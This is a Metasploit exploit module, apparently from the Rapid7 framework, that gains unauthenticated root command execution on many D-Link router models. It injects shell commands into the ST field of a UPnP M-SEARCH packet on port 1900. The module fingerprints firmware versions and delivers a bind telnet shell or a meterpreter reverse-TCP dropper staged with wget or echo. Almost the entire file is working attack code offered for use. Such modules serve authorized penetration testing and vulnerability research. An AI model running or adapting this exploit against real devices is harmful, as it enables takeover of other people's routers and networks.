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1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = ExcellentRanking
8

9
  include Msf::Exploit::Remote::HttpClient
10
  include Msf::Exploit::CmdStager
11
  include Msf::Exploit::Remote::Udp
12
  prepend Msf::Exploit::Remote::AutoCheck
13

14
  def initialize(info = {})
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    super(
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      update_info(
17
        info,
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        'Name' => 'D-Link Unauthenticated Remote Command Execution using UPnP via a special crafted M-SEARCH packet.',
19
        'Description' => %q{
20
          A command injection vulnerability exists in multiple D-Link network products, allowing an attacker
21
          to inject arbitrary command to the UPnP via a crafted M-SEARCH packet.
22
          Universal Plug and Play (UPnP), by default is enabled in most D-Link devices, on the port 1900.
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          An attacker can perform a remote command execution by injecting the payload into the
24
          `Search Target` (ST) field of the SSDP M-SEARCH discover packet.
25
          After successful exploitation, an attacker will have full access with `root` user privileges.
26

27
          NOTE: Staged meterpreter payloads might core dump on the target, so use stage-less meterpreter payloads
28
          when using the Linux Dropper target. Some D-Link devices do not have the `wget` command so
29
          configure `echo` as flavor with the command set CMDSTAGER::FLAVOR echo.
30

31
          The following D-Link network products and firmware are vulnerable:
32
          - D-Link Router model GO-RT-AC750 revisions Ax with firmware v1.01 or older;
33
          - D-Link Router model DIR-300 revisions Ax with firmware v1.06 or older;
34
          - D-Link Router model DIR-300 revisions Bx with firmware v2.15 or older;
35
          - D-Link Router model DIR-600 revisions Bx with firmware v2.18 or older;
36
          - D-Link Router model DIR-645 revisions Ax with firmware v1.05 or older;
37
          - D-Link Router model DIR-815 revisions Bx with firmware v1.04 or older;
38
          - D-Link Router model DIR-816L revisions Bx with firmware v2.06 or older;
39
          - D-Link Router model DIR-817LW revisions Ax with firmware v1.04b01_hotfix or older;
40
          - D-Link Router model DIR-818LW revisions Bx with firmware v2.05b03_Beta08 or older;
41
          - D-Link Router model DIR-822 revisions Bx with firmware v2.03b01 or older;
42
          - D-Link Router model DIR-822 revisions Cx with firmware v3.12b04 or older;
43
          - D-Link Router model DIR-823 revisions Ax with firmware v1.00b06_Beta or older;
44
          - D-Link Router model DIR-845L revisions Ax with firmware v1.02b05 or older;
45
          - D-Link Router model DIR-860L revisions Ax with firmware v1.12b05 or older;
46
          - D-Link Router model DIR-859 revisions Ax with firmware v1.06b01Beta01 or older;
47
          - D-Link Router model DIR-860L revisions Ax with firmware v1.10b04 or older;
48
          - D-Link Router model DIR-860L revisions Bx with firmware v2.03b03 or older;
49
          - D-Link Router model DIR-865L revisions Ax with firmware v1.07b01 or older;
50
          - D-Link Router model DIR-868L revisions Ax with firmware v1.12b04 or older;
51
          - D-Link Router model DIR-868L revisions Bx with firmware v2.05b02 or older;
52
          - D-Link Router model DIR-869 revisions Ax with firmware v1.03b02Beta02 or older;
53
          - D-Link Router model DIR-880L revisions Ax with firmware v1.08b04 or older;
54
          - D-Link Router model DIR-890L/R revisions Ax with firmware v1.11b01_Beta01 or older;
55
          - D-Link Router model DIR-885L/R revisions Ax with firmware v1.12b05 or older;
56
          - D-Link Router model DIR-895L/R revisions Ax with firmware v1.12b10 or older;
57
          - probably more looking at the scale of impacted devices :-(
58
        },
59
        'License' => MSF_LICENSE,
60
        'Author' => [
61
          'h00die-gr3y <h00die.gr3y[at]gmail.com>', # MSF module contributor
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          'Zach Cutlip', # Discovery of the vulnerability
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          'Michael Messner <[email protected]>',
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          'Miguel Mendez Z. (s1kr10s)',
65
          'Pablo Pollanco (secenv)',
66
          'Naihsin https://github.com/naihsin'
67

68
        ],
69
        'References' => [
70
          ['CVE', '2023-33625'],
71
          ['CVE', '2020-15893'],
72
          ['CVE', '2019-20215'],
73
          ['URL', 'https://attackerkb.com/topics/uqicA23ecz/cve-2023-33625'],
74
          ['URL', 'https://github.com/zcutlip/exploit-poc/tree/master/dlink/dir-815-a1/upnp-command-injection'],
75
          ['URL', 'https://medium.com/@s1kr10s/d-link-dir-859-unauthenticated-rce-in-ssdpcgi-http-st-cve-2019-20215-en-2e799acb8a73'],
76
          ['URL', 'https://shadow-file.blogspot.com/2013/02/dlink-dir-815-upnp-command-injection.html'],
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          ['URL', 'https://research.loginsoft.com/vulnerability/multiple-vulnerabilities-discovered-in-the-d-link-firmware-dir-816l/'],
78
          ['URL', 'https://github.com/naihsin/IoT/blob/main/D-Link/DIR-600/cmd%20injection/README.md']
79
        ],
80
        'DisclosureDate' => '2013-02-01',
81
        'Platform' => ['unix', 'linux'],
82
        'Arch' => [ARCH_CMD, ARCH_MIPSLE, ARCH_MIPSBE, ARCH_ARMLE],
83
        'Privileged' => true,
84
        'Targets' => [
85
          [
86
            'Unix Command',
87
            {
88
              'Platform' => 'unix',
89
              'Arch' => ARCH_CMD,
90
              'Type' => :unix_cmd,
91
              'DefaultOptions' => {
92
                'PAYLOAD' => 'cmd/unix/bind_busybox_telnetd'
93
              }
94
            }
95
          ],
96
          [
97
            'Linux Dropper',
98
            {
99
              'Platform' => 'linux',
100
              'Arch' => [ARCH_MIPSLE, ARCH_MIPSBE, ARCH_ARMLE],
101
              'Type' => :linux_dropper,
102
              'CmdStagerFlavor' => ['echo', 'wget'],
103
              'Linemax' => 900,
104
              'DefaultOptions' => {
105
                'PAYLOAD' => 'linux/mipsbe/meterpreter_reverse_tcp'
106
              }
107
            }
108
          ]
109
        ],
110
        'DefaultTarget' => 0,
111
        'DefaultOptions' => {
112
          'RPORT' => 1900,
113
          'SSL' => false
114
        },
115
        'Notes' => {
116
          'Stability' => [CRASH_SAFE],
117
          'Reliability' => [REPEATABLE_SESSION],
118
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
119
        }
120
      )
121
    )
122
    register_options([
123
      OptString.new('URN', [true, 'Set URN payload', 'urn:device:1']),
124
      OptPort.new('HTTP_PORT', [true, 'The HTTP port for the HTTP and SOAP requests sent to detect versions', 80])
125
    ])
126
  end
127

128
  def vuln_version?(res)
129
    # checks the model, firmware and hardware version
130
    @d_link = { 'product' => nil, 'firmware' => nil, 'hardware' => nil, 'arch' => nil }
131
    html = Nokogiri.HTML(res.body, nil, 'UTF-8')
132

133
    # USE CASE #1: D-link devices with static HTML pages with model and version information
134
    # class identifiers: <span class="product">, <span class="version"> and <span class="hwversion">
135
    # See USE CASE #4 for D-link devices that use javascript to dynamically generate the model and firmware version
136
    product = html.css('span[@class="product"]')
137
    @d_link['product'] = product[0].text.split(':')[1].strip unless product[0].nil?
138
    firmware = html.css('span[@class="version"]')
139
    @d_link['firmware'] = firmware[0].text.split(':')[1].strip.delete(' ') unless firmware[0].nil?
140

141
    # DIR-600, DIR-300 hardware B revision  and maybe other models are using the "version" class tag for both firmware and hardware version
142
    @d_link['hardware'] = firmware[1].text.split(':')[1].strip unless firmware[1].nil?
143
    # otherwise search for the "hwversion" class tag
144
    hardware = html.css('span[@class="hwversion"]')
145
    @d_link['hardware'] = hardware[0].text.split(':')[1].strip unless hardware[0].nil?
146

147
    # USE CASE #2: D-link devices with static HTML pages with model and version information
148
    # class identifiers: <div class="pp">, <div class="fwv"> and <div class="hwv">
149
    if @d_link['product'].nil?
150
      product = html.css('div[@class="pp"]')
151
      @d_link['product'] = product[0].text.split(':')[1].strip unless product[0].nil?
152
      firmware = html.css('div[@class="fwv"]')
153
      @d_link['firmware'] = firmware[0].text.split(':')[1].strip.delete(' ') unless firmware[0].nil?
154
      hardware = html.css('div[@class="hwv"]')
155
      @d_link['hardware'] = hardware[0].text.split(':')[1].strip unless hardware[0].nil?
156
    end
157

158
    # USE CASE #3: D-link devices with html below for model, firmware and hardware version
159
    # <td>Product Page&nbsp;:&nbsp;<a href='http://support.dlink.com.tw'  target=_blank><font class=l_tb>DIR-300</font></a>&nbsp;&nbsp;&nbsp;</td>
160
    # <td noWrap align="right">Hardware Version&nbsp;:&nbsp;rev N/A&nbsp;</td>
161
    # <td noWrap align="right">Firmware Version&nbsp;:&nbsp;1.06&nbsp;</td>
162
    if @d_link['product'].nil?
163
      hwinfo_table = html.css('td')
164
      hwinfo_table.each do |hwinfo|
165
        @d_link['product'] = hwinfo.text.split(':')[1].strip.gsub(/\p{Space}*/u, '') if hwinfo.text =~ /Product Page/i || hwinfo.text =~ /Product/i
166
        @d_link['hardware'] = hwinfo.text.split(':')[1].strip.gsub(/\p{Space}*/u, '') if hwinfo.text =~ /Hardware Version/i
167
        @d_link['firmware'] = hwinfo.text.split(':')[1].strip.gsub(/\p{Space}*/u, '') if hwinfo.text =~ /Firmware Version/i
168
      end
169
    end
170

171
    # USE CASE #4: D-Link devices with HTML listed below that contains the model, firmware and hardware version
172
    # <table id="header_container" border="0" cellpadding="5" cellspacing="0" width="838" align="center">
173
    # <tr>
174
    #   <td width="100%">&nbsp;&nbsp;<script>show_words(TA2)</script>: <a href="http://support.dlink.com.tw/">DIR-835</a></td>
175
    #   <td align="right" nowrap><script>show_words(TA3)</script>: A1 &nbsp;</td>
176
    #   <td align="right" nowrap><script>show_words(sd_FWV)</script>: 1.04</td>
177
    #   <td>&nbsp;</td>
178
    # </tr>
179
    # </table>
180
    if @d_link['product'].nil?
181
      hwinfo_table = html.css('table#header_container td')
182
      hwinfo_table.each do |hwinfo|
183
        @d_link['product'] = hwinfo.text.split(':')[1].strip.gsub(/\p{Space}*/u, '') if hwinfo.text =~ /show_words\(TA2\)/i
184
        @d_link['hardware'] = hwinfo.text.split(':')[1].strip.gsub(/\p{Space}*/u, '') if hwinfo.text =~ /show_words\(TA3\)/i
185
        @d_link['firmware'] = hwinfo.text.split(':')[1].strip.gsub(/\p{Space}*/u, '') if hwinfo.text =~ /show_words\(sd_FWV\)/i
186
      end
187
    end
188

189
    # USE CASE #5: D-Link devices with dynamically generated version and hardware information
190
    # Create HNAP POST request to get these hardware details
191
    if @d_link['product'].nil?
192
      xml_soap_data = <<~EOS
193
        <?xml version="1.0" encoding="utf-8"?>
194
          <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
195
            <soap:Body>
196
              <GetDeviceSettings xmlns="http://purenetworks.com/HNAP1/" />
197
            </soap:Body>
198
          </soap:Envelope>
199
      EOS
200
      res = send_request_cgi({
201
        'rport' => datastore['HTTP_PORT'],
202
        'method' => 'POST',
203
        'ctype' => 'text/xml',
204
        'uri' => normalize_uri(target_uri.path, 'HNAP1', '/'),
205
        'data' => xml_soap_data.to_s,
206
        'headers' => {
207
          'SOAPACTION' => '"http://purenetworks.com/HNAP1/GetDeviceSettings"'
208
        }
209
      })
210
      if res && res.code == 200 && res.body.include?('<GetDeviceSettingsResult>OK</GetDeviceSettingsResult>')
211
        xml = res.get_xml_document
212
        unless xml.blank?
213
          xml.remove_namespaces!
214
          @d_link['product'] = xml.css('ModelName').text
215
          @d_link['firmware'] = xml.css('FirmwareVersion').text.delete(' ')
216
          @d_link['hardware'] = xml.css('HardwareVersion').text
217
        end
218
      end
219
    end
220

221
    # USE CASE #6: D-Link devices with dynamically generated version and hardware information
222
    # Create a DHMAPI POST request to get these hardware details
223
    if @d_link['product'].nil?
224
      xml_soap_data = <<~EOS
225
        <?xml version="1.0" encoding="utf-8"?>
226
          <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
227
            <soap:Body>
228
              <GetDeviceSettings/>
229
            </soap:Body>
230
          </soap:Envelope>
231
      EOS
232
      res = send_request_cgi({
233
        'rport' => datastore['HTTP_PORT'],
234
        'method' => 'POST',
235
        'ctype' => 'text/xml',
236
        'uri' => normalize_uri(target_uri.path, 'DHMAPI', '/'),
237
        'data' => xml_soap_data.to_s,
238
        'headers' => {
239
          'API-ACTION' => 'GetDeviceSettings'
240
        }
241
      })
242
      if res && res.code == 200 && res.body.include?('<GetDeviceSettingsResult>OK</GetDeviceSettingsResult>')
243
        xml = res.get_xml_document
244
        unless xml.blank?
245
          xml.remove_namespaces!
246
          @d_link['product'] = xml.css('ModelName').text
247
          @d_link['firmware'] = xml.css('FirmwareVersion').text.delete(' ')
248
          @d_link['hardware'] = xml.css('HardwareVersion').text
249
        end
250
      end
251
    end
252

253
    # check the vulnerable product and firmware versions
254
    case @d_link['product']
255
    when 'GO-RT-AC750'
256
      @d_link['arch'] = 'mipsbe'
257
      return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.01') && @d_link['hardware'][0] == 'A'
258
    when 'DIR-300'
259
      if Rex::Version.new(@d_link['firmware']) >= Rex::Version.new('2.00') && Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('2.15') # hardware version B
260
        @d_link['arch'] = 'mipsle'
261
        return true
262
      elsif Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.06') # hardware version A
263
        @d_link['arch'] = 'mipsbe'
264
        return true
265
      end
266
    when 'DIR-600'
267
      @d_link['arch'] = 'mipsle'
268
      return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('2.18') && @d_link['hardware'][0] == 'B'
269
    when 'DIR-645'
270
      @d_link['arch'] = 'mipsle'
271
      return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.05') && (@d_link['hardware'][0] == 'A' || @d_link['hardware'] == 'N/A')
272
    when 'DIR-815'
273
      @d_link['arch'] = 'mipsle'
274
      return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.04')
275
    when 'DIR-816L'
276
      @d_link['arch'] = 'mipsbe'
277
      return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('2.06') && (@d_link['hardware'][0] == 'B' || @d_link['hardware'] == 'N/A')
278
    when 'DIR-817LW'
279
      @d_link['arch'] = 'mipsbe'
280
      return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.04') && (@d_link['hardware'][0] == 'A' || @d_link['hardware'] == 'N/A')
281
    when 'DIR-818LW', 'DIR-818L'
282
      @d_link['arch'] = 'mipsbe'
283
      return true if Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('2.04') && @d_link['hardware'][0] == 'B'
284

285
      return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.05') && @d_link['hardware'][0] == 'A'
286
    when 'DIR-822'
287
      @d_link['arch'] = 'mipsbe'
288
      return true if Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('2.03') && @d_link['hardware'][0] == 'B'
289

290
      return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('3.12') && @d_link['hardware'][0] == 'C'
291
    when 'DIR-823'
292
      @d_link['arch'] = 'mipsbe'
293
      return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.00') && @d_link['hardware'][0] == 'A'
294
    when 'DIR-845L'
295
      @d_link['arch'] = 'mipsle'
296
      return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.02') && (@d_link['hardware'][0] == 'A' || @d_link['hardware'] == 'N/A')
297
    when 'DIR-850L'
298
      @d_link['arch'] = 'mipsbe'
299
      return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.12') && (@d_link['hardware'][0] == 'A' || @d_link['hardware'] == 'N/A')
300
    when 'DIR-859'
301
      @d_link['arch'] = 'mipsbe'
302
      return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.06') && @d_link['hardware'][0] == 'A'
303
    when 'DIR-860L'
304
      @d_link['arch'] = 'armle'
305
      return true if Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.10') && @d_link['hardware'][0] == 'A'
306

307
      return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('2.03') && @d_link['hardware'][0] == 'B'
308
    when 'DIR-865L'
309
      @d_link['arch'] = 'mipsle'
310
      return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.07') && @d_link['hardware'][0] == 'A'
311
    when 'DIR-868L'
312
      @d_link['arch'] = 'armle'
313
      return true if Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.12') && @d_link['hardware'][0] == 'A'
314

315
      return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('2.05') && @d_link['hardware'][0] == 'B'
316
    when 'DIR-869'
317
      @d_link['arch'] = 'mipsbe'
318
      return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.03') && @d_link['hardware'][0] == 'A'
319
    when 'DIR-880L'
320
      @d_link['arch'] = 'armle'
321
      return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.08') && @d_link['hardware'][0] == 'A'
322
    when 'DIR-890L', 'DIR-890R'
323
      @d_link['arch'] = 'armle'
324
      return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.11') && @d_link['hardware'][0] == 'A'
325
    when 'DIR-885L', 'DIR-885R'
326
      @d_link['arch'] = 'armle'
327
      return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.12') && @d_link['hardware'][0] == 'A'
328
    when 'DIR-895L', 'DIR-895R'
329
      @d_link['arch'] = 'armle'
330
      return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.12') && @d_link['hardware'][0] == 'A'
331
    end
332
    false
333
  end
334

335
  def execute_command(cmd, _opts = {})
336
    payload = "#{datastore['URN']};`#{cmd}`"
337

338
    connect_udp
339
    header = "M-SEARCH * HTTP/1.1\r\n"
340
    header << 'HOST:' + datastore['RHOST'].to_s + ':' + datastore['RPORT'].to_s + "\r\n"
341
    header << "ST:#{payload}\r\n"
342
    header << "MX:2\r\n"
343
    header << "MAN:\"ssdp:discover\"\r\n\r\n"
344
    udp_sock.put(header)
345
    disconnect_udp
346
  end
347

348
  def check
349
    print_status("Checking if #{peer} can be exploited.")
350
    res = send_request_cgi!({
351
      'rport' => datastore['HTTP_PORT'],
352
      'method' => 'GET',
353
      'ctype' => 'application/x-www-form-urlencoded',
354
      'uri' => normalize_uri(target_uri.path)
355
    })
356
    # Check if target is a D-Link network device
357
    return CheckCode::Unknown('No response received from target.') unless res
358
    return CheckCode::Safe('Likely not a D-Link network device.') unless res.code == 200 && res.body =~ /d-?link/i
359

360
    # check if firmware version is vulnerable
361
    return CheckCode::Appears("Product info: #{@d_link['product']}|#{@d_link['firmware']}|#{@d_link['hardware']}|#{@d_link['arch']}") if vuln_version?(res)
362
    # D-link devices with fixed firmware versions
363
    return CheckCode::Safe("Product info: #{@d_link['product']}|#{@d_link['firmware']}|#{@d_link['hardware']}|#{@d_link['arch']}") unless @d_link['arch'].nil?
364
    # D-link devices that still could be vulnerable with product information
365
    return CheckCode::Detected("Product info: #{@d_link['product']}|#{@d_link['firmware']}|#{@d_link['hardware']}|#{@d_link['arch']}") unless @d_link['product'].nil?
366

367
    # D-link devices that still could be vulnerable but no product information available
368
    return CheckCode::Detected
369
  end
370

371
  def exploit
372
    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
373
    case target['Type']
374
    when :unix_cmd
375
      execute_command(payload.encoded)
376
    when :linux_dropper
377
      # Don't check the response here since the server won't respond
378
      # if the payload is successfully executed.
379
      execute_cmdstager({ linemax: target.opts['Linemax'] })
380
    end
381
  end
382
end
383

384